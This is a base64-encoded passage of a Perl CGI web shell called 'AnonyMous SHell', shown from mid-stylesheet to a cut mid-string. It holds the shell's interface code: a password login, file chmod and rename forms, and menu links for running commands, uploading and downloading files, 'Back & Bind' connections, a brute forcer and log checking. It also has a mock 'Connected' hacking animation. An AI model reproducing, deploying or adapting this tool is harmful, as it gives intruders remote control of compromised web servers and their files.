OiAjNjQ0ODkwOTYgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQoKaW5wdXQuc3VibWl0IHsKdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwpjb2xvcjogI0ZGRkZGRjsKYm9yZGVyLWNvbG9yOiAjMDA5OTAwOwp9Cgpjb2RlIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmJvcmRlci1zdHlsZTpkYXNoZWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6IHdoaWxlOwp9CgpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKYm9yZGVyLXN0eWxlOmRhc2hlZDsKZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM2NDQ4OTA5NiAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICM2NDQ4OTA5NiAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmJvcmRlci1zdHlsZTpkYXNoZWQ7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzM3MmM0ODc4Owp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovCgl2YXIgYWpheD0iIjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJdmFyIGFqYXg9IiI7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSJncmVlbiI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9ImdyZWVuIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250PgoJPC90ZD4KCjwvdHI+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDIwcHQgVmVyZGFuYTsgY29sb3I6ICNkMDU1ZWY7Ij5Bbm9ueU1vdXMgU0hlbGw8L2ZvbnQ+PGJyPjxicj48Zm9udCBzdHlsZT0iZm9udDogMTBwdCBWZXJkYW5hOyBjb2xvcjogI2QwNTVlZjsiPlBhc3N3b3JkIDogYW5vbnltb3VzPC9mb250Pjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgIGJvcmRlci1zdHlsZT0iZGFzaGVkIiB3aWR0aD0iNjAwIiBoZWlnaD4KPHRib2R5Pjx0cj4KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj4gUGxlYXNlIFdhaXQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPgoKPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjRjAwMDAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+flwkPC9mb250PiBDb25uZWN0ZWQgISA8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBUcnlpbmcgY29ubmVjdCB0byBDb21tYW5kIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+Cgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48Zm9udCBjb2xvcj0iI0YwMDAwMCI+XCQ8L2ZvbnQ+PC9mb250PiBPSyEgWW91IGNhbiBraWxsIGl0ITwvZm9udD4KPC90cj4KPC90Ym9keT48L3RhYmxlPgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8YnI+TG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgoKUGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxi